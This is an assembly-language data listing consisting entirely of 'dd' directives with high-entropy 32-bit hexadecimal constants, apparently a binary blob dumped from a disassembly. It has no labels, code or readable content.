dd 4B53FC4h, 8CBBB966h, 65698CA8h, 0A897D95Eh, 7B8B9704h
dd 9526B8BBh, 2542BF28h, 26420B5Fh, 0D2BC3C5Dh, 2410AD3Dh
dd 2C08E7F1h, 20DA20A0h, 0FEB0054Ah, 34A8C79Fh, 0FAE00DAh
dd 8161A448h, 2501EE34h, 31FBFA80h, 88A7F31Ah, 3BFED9E1h
dd 40B0E814h, 5181F782h, 9582D270h, 1B3D0B5Bh, 0BD15DE2Fh
dd 0C58019C0h, 2D06CB06h, 2E2034D0h, 2CAC04BDh, 0BCD828D7h
dd 80B3A172h, 10257F70h, 16C2F3E9h, 40FE12B2h, 0C5B55189h
dd 0DA73ED80h, 4ABF4FB8h, 0E94CC1B2h, 0B62EA8E1h, 4F4D7AC8h
dd 4674CB1h, 3C4C028Fh, 0AF658901h, 2685401Ch, 794E3B6Ah
dd 0F8E4A6FCh, 3021A587h, 3B2220A9h, 0DF34D392h, 0B5DBBCADh
dd 24C37C08h, 975E1104h, 0A07E57AFh, 6812FDD1h, 0EECD615Ah
dd 256318F4h, 0DF15636h, 25CCDC27h, 26B4CF1h, 0D7D4E9D8h
dd 3D5B4119h, 2BF81365h, 0D7833E0Eh, 2AE96F02h, 6F6E7F16h
dd 4F8C8F5Eh, 62B900BFh, 814F5526h, 9E0072F7h, 7405531Ah
dd 3C416C22h, 0BB28F801h, 1874B408h, 3AD1985Fh, 51AC401h
dd 9C718CBh, 68F3806Bh, 0C9441DCh, 0F5A22362h, 9150A63Bh
dd 7997F47Dh, 0F0C6A5CDh, 170F505Ch, 0F329D684h, 5709446Fh
dd 6B25AADAh, 0F39C6804h, 4539BE00h, 46483EBFh, 79370211h
dd 5F4E127Ch, 236E3DE8h, 84AA393Fh, 2D2443C7h, 0C895AE04h
dd 0F19F1FEDh, 43CBA6D7h, 9102D40Dh, 806AC4C7h, 7064D56Dh
dd 0CDF4664Ah, 88C54EDEh, 0CE07B8F1h, 4054CA52h, 0D89098E4h
dd 1E17BD68h, 0C95F1037h, 0CC24AD4Ch, 0E5CBAF56h, 0AA0C8716h
dd 1DFAC671h, 74822D00h, 0B066682Bh, 0B7646597h, 102D1A80h
dd 2149845h, 763F0927h, 80D7EEC1h, 423651B0h, 0B6E91226h
dd 6F528DF2h, 29AA1057h, 1E4520FEh, 6061067Ch, 0FB47F056h
dd 0FE298A41h, 0A1442E36h, 0BEEBA052h, 7F4082D9h, 0E4BDAB46h
dd 0A870B5D3h, 9DED6E5Bh, 36682581h, 0A3D73B01h, 1089A440h
dd 0CB29256Fh, 55EDA14h, 30E927F4h, 0B04EC7CDh, 0E850C09Ch
dd 0F540E1CFh, 1DCB0081h, 4B40482Eh, 35EEBC1h, 3F05FAADh
dd 0ABFF9E32h, 0F5211BC1h, 105ECA4Bh, 22049EF4h, 0FE19F6BFh
dd 0A1F2E309h, 66E668E3h, 954EFB23h, 36EA86DBh, 320928F4h
dd 80C28336h, 6F49EAD9h, 4A2F3006h, 0C37C8F0Eh, 176E3748h
dd 9CF50B70h, 5BFD3B31h, 9379F804h, 0FFD2F3ECh, 0FFEF632Ch
dd 0F94FD829h, 0EBE9174Eh, 0FEF67C52h, 0F46F4B7Ch, 5298F588h
dd 3581864Bh, 9620C709h, 9F7A92F3h, 0B1FFA9B2h, 6C3531E4h
dd 6EE7862Ah, 515EB627h, 0F6854F26h, 0BC40FB0Ah, 8C685756h
dd 0FC5C7209h, 418E4F32h, 0B52675AEh, 2D14027h, 355D0F62h
dd 76E909A5h, 95169479h, 2DB1DB40h, 6CCB2825h, 4F5098CAh
dd 9683AC10h, 0B5FCB604h, 6A257FB3h, 53B588D8h, 9677E98Eh
dd 532304A9h, 3929F78Eh, 135EF0ECh, 0A345E168h, 0B36D0493h
dd 90E96634h, 8457B997h, 62BE9078h, 4ADF059Dh, 0A2845D2Ah
dd 4B76ACCAh, 0D3C77ED4h, 1EBDB2h, 5F205AB8h, 0E7310628h
dd 0D8D1575Bh, 0F805B123h, 0B8CA02BCh, 41189B1Ah, 63CC26F4h
dd 500B051h, 20B51B54h, 0BBC1EA21h, 977F8FB4h, 12EEF464h
dd 0C45FB8BCh, 0B562F828h, 6C684620h, 0FE6B540h, 0A52AB81Ch
dd 889EE5A7h, 5E16FC7Eh, 49265FCh, 0FD551Bh, 0DD685854h
dd 3189F46h, 0A1006512h, 28ED8110h, 97DFC14h, 0F3B2E945h
dd 0F6AD97F3h, 0E3D32D58h, 0BB71E98Ah, 2FA456A7h, 72526B76h
dd 863E54BBh, 3A89B466h, 85B104Ah, 5AADE93Dh, 5FC68C98h
dd 42E587CEh, 61799525h, 0B082072Eh, 0F7CD1C45h, 0C3C568DFh
dd 603017E8h, 90B1361h, 69283F7h, 13129C7Dh, 0FD14FEE9h
dd 465905FEh, 6DC05EC4h, 98FA315Bh, 49F64AD7h, 70604042h
dd 0AC90E6C1h, 3A1A6627h, 2092F4B0h, 76CD4DF7h, 7813B905h
dd 0BAFB0EC1h, 0DD2D0230h, 0CE427068h, 0C3312621h, 87BF096Ah
dd 6857276Ah, 124C29FAh, 0D0590824h, 0A23F47A2h, 3E7D0B48h
dd 2468406Fh, 0C19C6421h, 0FD1E5CDFh, 74FEF85Ah, 0C320639Ah
dd 0CF810665h, 58C50FABh, 0F1F1F77Ah, 97847ADDh, 10D2C4B2h
dd 0E9123D37h, 0B6F7A01Bh, 0B1207324h, 0BE1208h, 0ECC077B4h
dd 0D409F608h, 995B1868h, 2C89B103h, 891088B5h, 908261CCh
dd 80C5152Bh, 0B324685Fh, 11C0842Dh, 0FA04AB2Fh, 0D366628Eh
dd 11F56C03h, 85E3C710h, 5BC9E3FCh, 11EC2355h, 2CFD2585h
dd 0DFA21D44h, 1542AFAh, 25D758B1h, 0A3E93DD0h, 0F1D99FD4h
dd 0CFBF59CBh, 8959EE6Bh, 6809732Dh, 0F3890BADh, 0EB5A0584h
dd 347BDA29h, 96FEC080h, 1D60B447h, 0EB0CC40Ch, 0F129346Eh
dd 0C081A34h, 825E1404h, 7848CB2Dh, 5002EFD0h, 0FB348CB0h
dd 80776030h, 0FAF473CFh, 692CC4B8h, 438CEAA2h, 75422568h
dd 0A6136219h, 7EAD1C4Fh, 829DBAB1h, 59F8E508h, 684419C8h
dd 911508F7h, 7FF7B900h, 9849770Eh, 9B882557h, 0B020E8CCh
dd 91587770h, 0E393080Eh, 304DB28h, 2939849Bh, 0F1DA913h
dd 0D6A5043Ch, 6D8B5E04h, 84AEA417h, 12929425h, 9F96F791h
dd 0F324557Dh, 0D1690518h, 0EF68856Ch, 1F18254Ah, 2D7F00D2h
dd 658248FCh, 0DE49490h, 4BB76298h, 617598CAh, 0B1505C29h
dd 8963D206h, 8A4BC654h, 6320B7F1h, 743A261Fh, 86020960h
dd 5BDF1857h, 0D9E6886Ch, 61A05113h, 16A13F00h, 923140BAh
dd 2F61FDBh, 9348948h, 0E63BB402h, 0C68FE0Bh, 0C147EC6Ch
dd 2A746F0Fh, 7EBCBD10h
dd 0C14408A2h, 76F2C427h, 0D2687033h, 0BEEC0B5Bh, 0ECBBB0C5h
dd 136882F7h, 985DFE34h, 0E580BB4Ch, 4E097FF1h, 5CC4E135h
dd 0E4E1843Eh, 845E79C8h, 47B04741h, 833B2268h, 3799812Dh
dd 6B7E713Bh, 53DA0C01h, 0F27D6740h, 15C4F784h, 0BE12736h
dd 0C253D1DDh, 5F02DB45h, 9A816047h, 7B0A3B52h, 10C6EF07h
dd 0FA090262h, 8E2E380h, 166995E9h, 0FB5ED83Fh, 6F36E9h
dd 225DBD75h, 0F7000282h, 6EDC1DDh, 0B5C58145h, 8E134758h
dd 9143AAE9h, 13202768h, 325B0387h, 0B45E512Ch, 743F68E1h
dd 691D3926h, 936F144Ah, 0F65FEF05h, 6C894230h, 0AEF70ACBh
dd 53676101h, 93BF647h, 0A4D4919Dh, 59AE0A09h, 0BCAD884Ah
dd 0E2337C2Dh, 802A5642h, 3FAFE25h, 5901876Ch, 79B2CAFCh
dd 0CF07DB5Eh, 5D74895Ah, 64A95080h, 0B013513Eh, 75882EC8h
dd 63DF4C6Eh, 834AB927h, 0C9CF4774h, 0D62ACA4Bh, 2095A091h
dd 0B3979668h, 68A5E2CAh, 4EC2801Dh, 0E29881C1h, 9EAE07Bh
dd 287C20F7h, 0D6FFD17Bh, 0E0A50079h, 7FB5512Ah, 0ECED2DEBh
dd 0C0AF355Bh, 782832F0h, 0E2584FE5h, 0CF1192B7h, 0E7D62A52h
dd 0F4F68017h, 0DB311CEEh, 0D0833CC2h, 46127F4Ah, 815B140Bh
dd 0EBC17A7Dh, 1CB7320h, 83A717Eh, 548FE94Bh, 0BD99BEC1h
dd 0CEBEB4D7h, 0AB8640E3h, 83AFF483h, 0B4A52CD2h, 0A64FB9EEh
dd 0ECD712F9h, 554B841Ah, 20A45A18h, 85903171h, 38B17904h
dd 0FA1289FDh, 50471600h, 1323BD55h, 0B005DD51h, 4A9729B6h
dd 0C996D193h, 0E9F810FEh, 96249A60h, 8E444F62h, 0E88ABFE2h
dd 9E12194Ch, 0FB8CC92h, 88BB4Ah, 9E5D8254h, 0A697E2h
dd 660B29D0h, 17EF8BAh, 7DEEEB59h, 7B789DF9h, 7AAA85Eh
dd 11C78ABh, 0C8C2F514h, 4B94F27Dh, 2BE0E5B9h, 97C92BF2h
dd 0FB97B670h, 46554969h, 279B989Ch, 0CBFC7565h, 841C3528h
dd 0D867A67Fh, 0F5782FFBh, 8995054Eh, 0A5D4747Bh, 0F149185Ch
dd 0E96C3B77h, 1C144862h, 9EF252Ah, 805312DFh, 64F1CF17h
dd 2C264C9Fh, 4D493003h, 0AAE4E934h, 0D5EAF549h, 705D11A7h
dd 8004EDC2h, 4A0755Ch, 8733BF5Fh, 12DC09EFh, 18D4DF42h
dd 806A2870h, 0EB5BC059h, 0E124FDBCh, 0D7EA6EDh, 0F5ADDDB1h
dd 0B4C251D2h, 0A9F43ED0h, 7E9983ECh, 0A8A3C5E9h, 0E509C320h
dd 5D3B7177h, 0FD106380h, 0AB28E969h, 0C520279Eh, 59D9A287h
dd 0FE71A53Ah, 4634584Dh, 6A22F354h, 537934CBh, 7ED71C09h
dd 715552F4h, 65E95057h, 4F3174Dh, 6CE751DAh, 0C1132CBAh
dd 606E030h, 135A3503h, 8211530h, 0D2B976DDh, 42FA48F5h
dd 10740589h, 37F16CD7h, 8B27606Eh, 2B4FFC37h, 554CCBB8h
dd 1B70E74h, 0F5C03252h, 6031662h, 0B0A03BF3h, 6AA39D9Bh
dd 2EC265C9h, 76D4C74h, 3C23A17Fh, 21B24A5Ch, 0B60296DDh
dd 0EC680BC3h, 90CD7623h, 26CE58DFh, 0CB34FD40h, 4E1F79FFh
dd 0C0681E32h, 2CB5666Fh, 0C27AC843h, 7D09A241h, 83132D86h
dd 4B74320h, 0F2EDAE05h, 9254C0B2h, 713BC449h, 3FE91329h
dd 45BB5580h, 236F821h, 3CB6F381h, 0F5E017E2h, 6304C20h
dd 1EAAA656h, 0D1043E95h, 0F381F24Ch, 6B49B2A8h, 0D7214EC5h
dd 0D034F8E9h, 0F1E10781h, 6F035D6Eh, 0F2116D81h, 5AA16FA4h
dd 2085BD28h, 8F6804DDh, 74AC09E5h, 843BC550h, 0EDD71C03h
dd 0EAB4E4A4h, 38EB1FD4h, 9809BDC3h, 0D669B312h, 66E481AFh
dd 2C55C4B6h, 0DBC058Bh, 55D44C8Dh, 13130714h, 98A4E3CEh
dd 0B2014E24h, 5A530B7Bh, 67D7B85Bh, 0A5B981D3h, 0E6700013h
dd 9D02AD50h, 708CDDC0h, 51FAE183h, 0E060412Eh, 254AF5E7h
dd 0ABE2FB6Dh, 2784744h, 0CA079226h, 599068C1h, 7AF0996Eh
dd 413096A0h, 0D89A6A0Dh, 30605652h, 6E4A685Bh, 0E1E66B5h
dd 5F9F4483h, 0F5A8EF8Ch, 88076541h, 0D3A8B9F4h, 0D251CCDFh
dd 0D38B92D1h, 0A90B4B8Dh, 1685B437h, 25885FF0h, 6FF62857h
dd 0C0456BE6h, 0D4250134h, 204CF21Bh, 490904E7h, 56C23E47h
dd 58657A7Dh, 8F3E0703h, 0B92D5A7Eh, 0C2510B6Ah, 3F3F0A05h
dd 31ABF701h, 806B2AF9h, 92BB81Bh, 0DCEEE4A0h, 32135002h
dd 97961E9h, 3F422981h, 3C1EE77Ch, 1D82FC9Ah, 0DBC90DE9h
dd 32BA8F45h, 0B1113BC7h, 816577E2h, 0C1D2F76Ch, 69308EAh
dd 0D93D0B06h, 0D998BBD7h, 252B6A08h, 8128BA65h, 2BC745B3h
dd 0F466C0F0h, 6C597Dh, 0D72695DEh, 0E7E8A04Ah, 7D34D94Eh
dd 0DF50E109h, 2FD4411Ah, 2DBA0197h, 53C2EC77h, 93E50AB8h
dd 50A9EBF1h, 175E2A4Ch, 0CD54B9D0h, 68E4658Dh, 9B4D62F6h
dd 0B9006E32h, 1FF9D016h, 12CA299Fh, 5EAEE8D3h, 19B865F8h
dd 0DEE8724Ah, 7F20A8D0h, 0C2A11BB0h, 18D922F3h, 0E25B583Bh
dd 0D88EA251h, 0CBC99542h, 8D217EE7h, 0E23E5866h, 4E774C31h
dd 25E9FA98h, 9E7BF605h, 23685080h, 26167F7Ch, 3D4ED158h
dd 2CF07D2Bh, 7DC66987h, 53FBC09Fh, 2EF400BBh, 0B9516630h
dd 0D0487225h, 4EF1024Eh, 601A6F29h, 2D32A022h, 94E25490h
dd 8E26C875h, 20D262DCh, 94FD6389h, 7C29254Dh, 0CE208FC6h
dd 0FE58666Fh, 0CC7C06EFh, 0B3856935h, 60C88285h, 0A3FE4BEAh
dd 66787AAEh, 0F9884A94h, 1590784h, 9B9887C6h, 54C2A27Eh
dd 0C2D0765Dh, 0FD10C477h, 0B7D33D0Fh, 0B79FB94h, 0DF77DA05h
dd 0F282AF7Eh, 0C6114089h, 1677B36Dh, 78B6A350h, 2D4B724Dh
dd 0EB21F95Bh, 0EBDEB075h, 0F70E1658h, 0C3EAB07Dh, 0CC5708A2h
dd 0DA3AAA3Fh, 8C9BB63h, 0A2344F1Bh, 4E10F2E2h, 0FA31035Ch
dd 9619685Fh, 103525FBh, 782DDFD9h, 7FC3B57Bh, 0D9F676F2h
dd 0B826E927h, 4ACD88CCh, 970EF301h, 0DE4AB5ACh, 9E662579h
dd 37D9BD5Eh, 7AABA667h, 3BE19F02h, 0E678ECFAh, 0DCC238B4h
dd 61A5FAD3h, 0EAB045E2h, 28FD6030h, 4026C77Ch, 0BD5170A9h
dd 84EF5E50h, 30A02710h, 80410EAh, 975FA85Dh, 0A59E62BAh
dd 5D4A39F8h, 6A446846h, 4A42FE9Dh, 921241F8h, 6F24DF2Dh
dd 2C43ECCDh, 0A0195A91h, 460E942h, 3C37BFCBh, 85495A18h
dd 31C9011Ch, 40775C22h, 2DC9B6C6h, 0DA5009FAh, 7B09F2C3h
dd 0F0FDEFDBh, 0C159800Ch, 0EC0A4FE8h, 989F176Dh, 0DCC4A4ECh
dd 68D65854h, 4A787DDFh, 3EE6CD08h, 0F2E4091h, 0EEE19450h
dd 644E3151h, 45208CD8h, 75C4AFFAh, 4A4FD1AFh, 0A7B800C6h
dd 8B53D4Eh, 0C09C547Bh, 0A9024BEEh, 9108D2DEh, 0F15514B9h
dd 0FE41A132h, 4721D0A1h, 0EED47A1Ch, 0BDF286h, 0B63759BEh
dd 0E0CAB929h, 10CAC02h, 7E56E9F1h, 5AD0915h, 0CBBA377Ch
dd 554EE4h, 5D7BFEBDh, 0CD814D2Ch, 1458600Eh, 0AFB1F236h
dd 5BC043Bh, 5C39EE89h, 0A1E1462Eh, 0B404AD65h, 210DBF7Dh
dd 0E001DD85h, 0F37ECBD4h, 2CD08630h, 0BB5B431h, 0E8EC7041h
dd 844BC0FEh, 0D2425B8Dh, 9F06F139h, 0B0FEA587h, 785364EFh
dd 3E2539EAh, 5A5CAF32h, 58C520A3h, 0A73C78A0h, 9B8F413Dh
dd 8516AC8Bh, 0A02F81EAh, 200C06E4h, 0BA98A3C1h, 8A58CFFAh
dd 0FCB5A737h, 7CBF03D5h, 0D75C6DB6h, 33F39203h, 7877C05Bh
dd 95B64828h, 58085039h, 46C8F9B7h, 0DC5F4C57h, 40E36E4Ah
dd 0FB18C202h, 40D26229h, 1EFEBBD5h, 8687456Ch, 0EB97E9CBh
dd 0F48353A0h, 0CA5EEEB5h, 0C0B35361h, 74B8685Bh, 5A627596h
dd 547F319Eh, 0C8F0C193h, 959C6A61h, 3A760BC3h, 0FC506A87h
dd 0FC4D8227h, 0FC30C38Eh, 0D4C6C525h, 10CB0C0h, 2407D48h
dd 0F90E02C1h, 7584E94Fh
dd 4248B27Fh, 4CA9552Dh, 0A745827Fh, 0CB8B90E0h, 20783B03h
dd 885EA00h, 0F2290691h, 88241B0h, 418BC355h, 282E1722h
dd 0C597523Dh, 282769F2h, 1A7F2B70h, 59DD615Ch, 0FA9E4272h
dd 0AEF65827h, 0D930F56Bh, 0BF80A4DBh, 844C0011h, 0F3E7816Dh
dd 2748F935h, 6A900664h, 40C42A7h, 6396739Eh, 0D19BC909h
dd 7E7FD925h, 0E1685407h, 5F9946BBh, 555F8D5h, 5EF0215Ah
dd 9E0BE1C4h, 6BB8D584h, 1D403868h, 26433E9h, 0E625E047h
dd 90A04473h, 0AB1092Eh, 0A87E6A2Ch, 115C6400h, 27E9EDD1h
dd 0B825D099h, 0D8C7DCCBh, 6F5A70F5h, 88258C62h, 1EE75BE3h
dd 0F62F60F8h, 0B41DCD7h, 0ADD3BC7h, 0F310C5E4h, 8673BD76h
dd 7D2E0649h, 0DEF4204Fh, 0AC5440BFh, 0CFB180B3h, 5AF1301Ch
dd 84592D3Eh, 684F5772h, 0BA7F694Bh, 50E5D549h, 647AD62Fh
dd 0B785AE5Fh, 0D4F302D3h, 0EA4FFD4Eh, 47F8232Bh, 0ADD11C8Bh
dd 0A1892B5Fh, 19896CC5h, 97B8BEE6h, 0D39F6DF1h, 0F68F89E3h
dd 0F4C4BA7Dh, 0B03CCCE8h, 35341013h, 0E3C001F1h, 98B10651h
dd 64DE180h, 4020789Fh, 59B0647Ch, 4AE80279h, 5D69CD9Eh
dd 0D35ED8C6h, 52324EA9h, 0E7875029h, 5BF822F7h, 16132F5Dh
dd 0BF3E0DAEh, 0F21E4061h, 5D7BDF7Fh, 8F3B8C50h, 0DB5074C4h
dd 57275A1Fh, 6F91B343h, 0DFDAE7A2h, 3297DEF0h, 0EECA7525h
dd 962DC2C5h, 957B97B3h, 0F8255C65h, 0CD521E5h, 9C5D412Fh
dd 3965276Ch, 0A7A01028h, 0AA3E924Bh, 0CD665D29h, 49BF11EBh
dd 56E0BB00h, 11BE309h, 904096F3h, 779976Dh, 5D0F62h, 1D569668h
dd 0DA29287Ah, 0DDB4D1F0h, 151CB001h, 0A22F0211h, 9AED4BD2h
dd 7AF9C780h, 0CA97075Eh, 76080985h, 71DE6985h, 2748DA72h
dd 0C53A4957h, 0F1D2105Fh, 197116EEh, 0AEE10C1Ch, 46BD24BBh
dd 0EB8839D2h, 595BDE0Bh, 0D598A1DAh, 0FCBA9140h, 3389166Eh
dd 97FFFD31h, 0B90015B8h, 9F72A8B5h, 5F63F929h, 0ACD9E978h
dd 0E1920FFCh, 0BC71CEA3h, 0A5AF6FB8h, 165EE377h, 0D38B5D0Ch
dd 66920CC6h, 340C79B9h, 7EAF650Fh, 42109601h, 4AA4108h
dd 92E0AA14h, 4477639Ah, 20004D5Eh, 21DB3284h, 2F60A205h
dd 0E378682Ah, 35D0F700h, 0EEC7FD65h, 0DFD49521h, 7419D703h
dd 0ACE5B037h, 4E1C301Dh, 14082418h, 0EF014C13h, 6CE9FB90h
dd 97139AADh, 0CDDE2FC2h, 515AF92Dh, 299C6E3Ch, 0BA6927E9h
dd 6D2231DAh, 51F68106h, 0BB47AAE4h, 23A518D6h, 0DE0D3558h
dd 9930D267h, 46E0D242h, 4348A04Bh, 54CA303Ah, 0E561F89Ah
dd 0C384474Eh, 96046DA8h, 0E816BD10h, 0BF5717C4h, 0E17652ABh
dd 0D0F520C6h, 7B790BFAh, 22AD40EDh, 3A0FA876h, 2073D435h
dd 475E0D14h, 80FBA0A9h, 68E18889h, 66745127h, 9B292075h
dd 37CB2D07h, 0F75B1FC6h, 0D8C47C2Fh, 880F8252h, 7A895D00h
dd 615F0C30h, 815CC39Dh, 1C4819BDh, 50949A2Bh, 0B4808794h
dd 0EC8004ADh, 0EFE328AEh, 50CF5D62h, 13BA7C7Dh, 971DD23h
dd 98558DC8h, 8291D030h, 5D610077h, 78228E11h, 1771B845h
dd 0F572C1h, 4913ED11h, 29341F8Dh, 80B2CCDh, 242ED659h
dd 1C70166h, 2B290575h, 988AB9C1h, 1ADD5C02h, 416C62CCh
dd 5E008B33h, 0BBDEC329h, 0E8C576D7h, 86718BEEh, 9838DF2Ch
dd 0C9E913B7h, 0C5D2A8BDh, 0D0614E5Eh, 0B33A8DEFh, 4021D2EDh
dd 5007276h, 660556E8h, 2DD02926h, 920709h, 0B072F2A9h
dd 0ACD95AA4h, 0C2F95F1Fh, 0FB381293h, 0E51C724Bh, 0AEBE97CEh
dd 65A55524h, 6F3953D5h, 0D9466903h, 92E2577Eh, 4DB01EF0h
dd 0C69DEF4Fh, 13F8A27Eh, 51A3E7B5h, 8931E44Bh, 1E7DE25Eh
dd 2249C7Fh, 880EFE8Ah, 0E3209BEDh, 0BC525C09h, 584B7847h
dd 683B6BB2h, 3851CF00h, 0FFE97210h, 7F64765Bh, 7DE86284h
dd 2095458h, 81F51DB2h, 23627112h, 0D164087h, 0CCD13782h
dd 0DF0CC75Eh, 0C7EE44Fh, 0D79512F8h, 5A1F4951h, 0EE27AFFEh
dd 0F10297A6h, 34DF540Dh, 0E2C1956Ah, 44EA048Ah, 8E46F0h
dd 0C824DEB9h, 6738F42Fh, 72D9C784h, 6F578A59h, 0E95C859Fh
dd 29DEA0E8h, 184A594h, 0BFC02F02h, 1640B0C3h, 13E9DF07h
dd 0F855F5DEh, 65A166Dh, 0D3F78D81h, 80ED9020h, 510ED82Ch
dd 21B45052h, 0E62838B6h, 0E246042Bh, 0DC31EFDAh, 766A678Eh
dd 7566287Fh, 400C53BDh, 71955C62h, 87C8CE88h, 2BB51A7h
dd 63153D0Bh, 9AC0F404h, 0B509E946h, 0B47B3E0Bh, 5F932D24h
dd 0FD9161ABh, 68AC01D0h, 323E20F5h, 0CB6259B9h, 0EDFCE429h
dd 5B5889F2h, 579E304Ah, 9EB80362h, 5BB5677Eh, 20ADBC57h
dd 4528F322h, 0B6F58101h, 0B7C32DECh, 0B7D222EBh, 0C8945F5h
dd 0C2338871h, 4ADB27BDh, 7580E270h, 0F02B5E86h, 22EC60CBh
dd 84A8014Bh, 0EBE56B0h, 0D9D791Fh, 1B55CE01h, 2320729Bh
dd 608417A3h, 0E9DB3080h, 45A99D7Ah, 0F186325Fh, 0DFA2A1E9h
dd 0F1F627C4h, 68E8B67Ah, 7B7C4427h, 0ADE9891Ch, 8D42C37Eh
dd 4C4B5E63h, 0B2414752h, 119CF22Ah, 97584487h, 158EA64Ah
dd 2F40E2CEh, 9A6F7466h, 3746356Dh, 952073A0h, 57224890h
dd 89729464h, 227B6C3Dh, 93CFC7A5h, 9964BA55h, 5F7D44FBh
dd 123B1DA8h, 0A189E45Ch, 5184EF68h, 745609DFh, 0E91354CAh
dd 0C8ADA36Eh, 7219F95Fh, 68C94095h, 8D2E5BC6h, 14763326h
dd 707D59CAh, 0E3084591h, 0CBEF8143h, 2EEEB747h, 67A7E3A1h
dd 4EA92282h, 0FF7197Fh, 33685B00h, 80A23F49h, 80C1FEDCh
dd 0F64402C9h, 0E2B252D1h, 51668077h, 20E9E4B5h, 0F717B90Ah
dd 4E0640D0h, 97A44612h, 74AFF8E5h, 0AECA163Fh, 0F8068762h
dd 0F2479D22h, 0A253A93h, 6A2EC0BFh, 774ACC21h, 2F682A98h
dd 0ACF15EB2h, 8C550F82h, 8FF4325Bh, 0BA071728h, 5311BF4Bh
dd 4C5BF08Ch, 883F6C56h, 2D07ADC0h, 4BC81087h, 0A813E153h
dd 2DD00520h, 0FDF0C252h, 0CA0747F9h, 2A7B2F11h, 825EF105h
dd 9B6793C1h, 70D8432Dh, 4280DF92h, 4ADA38F7h, 4C4B2EFAh
dd 866860A9h, 0AB89C35h, 6B1F0D90h, 0C704459h, 4BD86CEFh
dd 0AD351730h, 8B2F1580h, 88531620h, 0FDD3A51Ch, 5F9E808h
dd 0D858BE68h, 0EF4E1554h, 0A24B6BE7h, 0E28E2F2Fh, 7B2DF1F0h
dd 9868440Bh, 2230FF6Fh, 0D7B46A31h, 1CCD963h, 64F8EE59h
dd 7E095CBEh, 422B78D0h, 89A82005h, 2BC60124h, 97E06858h
dd 308C947h, 1802CD1h, 18C779A1h, 7D5CEA29h, 6F22F302h
dd 27EAFF01h, 0C8590804h, 0B840191Bh, 0F5801258h, 747B0925h
dd 322F3078h, 0F05CC4A2h, 55E44CC4h, 0FDB0BC0h, 0CF61C785h
dd 38676883h, 91C64D2Ch, 0BD031C42h, 1B4341A6h, 4F5A1229h
dd 0C087B9A8h, 3C636857h, 12375B82h, 1468226Ch, 0C8AFE555h
dd 0DECB08E2h, 5100FC26h, 0F480CCFEh, 0A820E73Bh, 6E43CC0h
dd 268CEC9Ch, 0F1F90879h, 84C50109h, 6801D2A2h, 0A5F716CCh
dd 2BBD48Ah, 2E7B60B7h, 534580Bh, 5847FF12h, 8B061305h
dd 0E5D81915h, 0E30E861h, 41E748DCh, 734E0CDEh, 0A800B810h
dd 255CF010h, 7FFB54D8h, 0F32E4D56h, 5C98849h, 570C29F5h
dd 3FFE6822h, 549D5222h, 20259209h, 1C84C668h, 5C155B2Dh
dd 9059251Dh, 0AD5A2B03h, 0FEDBC11Ah, 3A21212Eh, 0EFC00043h
dd 0E6E7E602h, 0AEC70B80h, 7C0EFC30h, 0B10EC588h, 789DE6E2h
dd 0B2D2BF3Fh, 879C4FA0h, 84607D82h, 4D00204Eh, 0FDC98160h
dd 253C8C50h, 8761EBE9h, 0BEB9D7D1h, 720EA7CEh, 1815E87Eh
dd 0C54BB37h
dd 0BD0438CCh, 0EBD5E914h, 0EE59F8D2h, 0ED9E203Eh, 0C00D4BB6h
dd 1DF583FCh, 13E4133Fh, 127DFB76h, 0BAA5D36Ch, 885B8FCBh
dd 909551CBh, 0F4555225h, 852D12B9h, 0FCFFB03Ah, 5360EBFAh
dd 8FAD4F0Ch, 945B671h, 1457A48Dh, 0B3A83711h, 0F8C664E1h
dd 978E4E9Eh, 0A80053C9h, 64590E49h, 4F02BCB4h, 0C07DCD44h
dd 40FB79Fh, 70E9D371h, 1D297A1h, 6019CF21h, 66B6F4DBh
dd 91B464EFh, 600431ADh, 80754A6Ah, 7D7F5F2Eh, 0F61D1576h
dd 65D33D1Eh, 0E79F7600h, 1231305Ah, 80B2E9F2h, 2C875EA1h
dd 68E20FB6h, 819F534h, 109F3254h, 510B8FDCh, 277F5B1h
dd 1CECA7Ch, 3334F068h, 3D2578F1h, 0FD628B71h, 0A7135638h
dd 5C2FC591h, 1C6C101Dh, 5E00B850h, 46252D36h, 203C0954h
dd 0C2E2D4E9h, 0B96B5760h, 1855B880h, 0F842A828h, 59165B15h
dd 46842908h, 0E02D0812h, 0EC870843h, 0ADEE33EEh, 0B6BB008Ch
dd 3120EF79h, 62AAE3C1h, 0A0E768DFh, 2A6897D0h, 0F0237AF1h
dd 0B71C5E7Fh, 53E90C7Ah, 9F64393h, 0E7F38EEAh, 82340977h
dd 561BE9C1h, 8AD9200h, 1127F92h, 0F24F00B8h, 992DF046h
dd 52542674h, 705141Ah, 867AD84Ah, 53782613h, 5602A302h
dd 66D6108h, 0AD8C173Eh, 0EE88485h, 61101FB8h, 0DE25E4Dh
dd 3EE08D9Fh, 3EE02E1Ch, 8E817EDh, 13CBBCEAh, 4804284Fh
dd 30ABC498h, 101E0B4Dh, 2324617Dh, 9943A753h, 0D73CEA6Dh
dd 0B75CC842h, 7CF0E904h, 25A4CFABh, 51F70565h, 0FD19F581h
dd 5AF58800h, 93E5C026h, 6149C50Eh, 0CCE942CDh, 96A8E655h
dd 8F2DE9A8h, 0AF98FB3Eh, 0E12FD4F6h, 21AD6486h, 84288F7Eh
dd 0F8828FE8h, 3BF9BD65h, 5ADC32C0h, 26689733h, 18BF3E41h
dd 8254A5CBh, 0DAA4B165h, 7C4B3A00h, 4D0EE93Bh, 650A580h
dd 3565079Fh, 85CE0114h, 0EA081FEEh, 89E912D6h, 95F825B8h
dd 0BF30BFB1h, 988FC68h, 0DDE977AEh, 0FE2D485Ch, 728F593Ah
dd 0EDC1DCD9h, 2BF58101h, 0C13CC1C8h, 384AE2AAh, 121DF350h
dd 41821340h, 7A662AE9h, 20AE927Ah, 87813DC0h, 550D97BAh
dd 68E045FCh, 0FEA83CEAh, 0B981F6B0h, 0DFA946Eh, 7E5F419Fh
dd 903420E2h, 0E6CFFF55h, 0DFB85010h, 10E65C2Fh, 212D0357h
dd 0E914916Dh, 74305F8h, 13AB8D5Fh, 0F64A618Eh, 125739F9h
dd 8A8178E9h, 7DFEB068h, 9895E318h, 0C10DE382h, 0E43D7572h
dd 7560324h, 24DDF656h, 76A980D5h, 4595EB28h, 0B5510BE7h
dd 59CB140Fh, 9780F07Ah, 1563E987h, 0FDEF6F7h, 48C68004h
dd 0EF608684h, 59F08962h, 1AE98BFBh, 89544B42h, 0CBE2D143h
dd 2A2E1677h, 7A48CC0Bh, 43309A41h, 75681323h, 0D555A814h
dd 0CCCF2F1Ch, 288DA00Ah, 12582445h, 0A474257Dh, 0BE65FFD9h
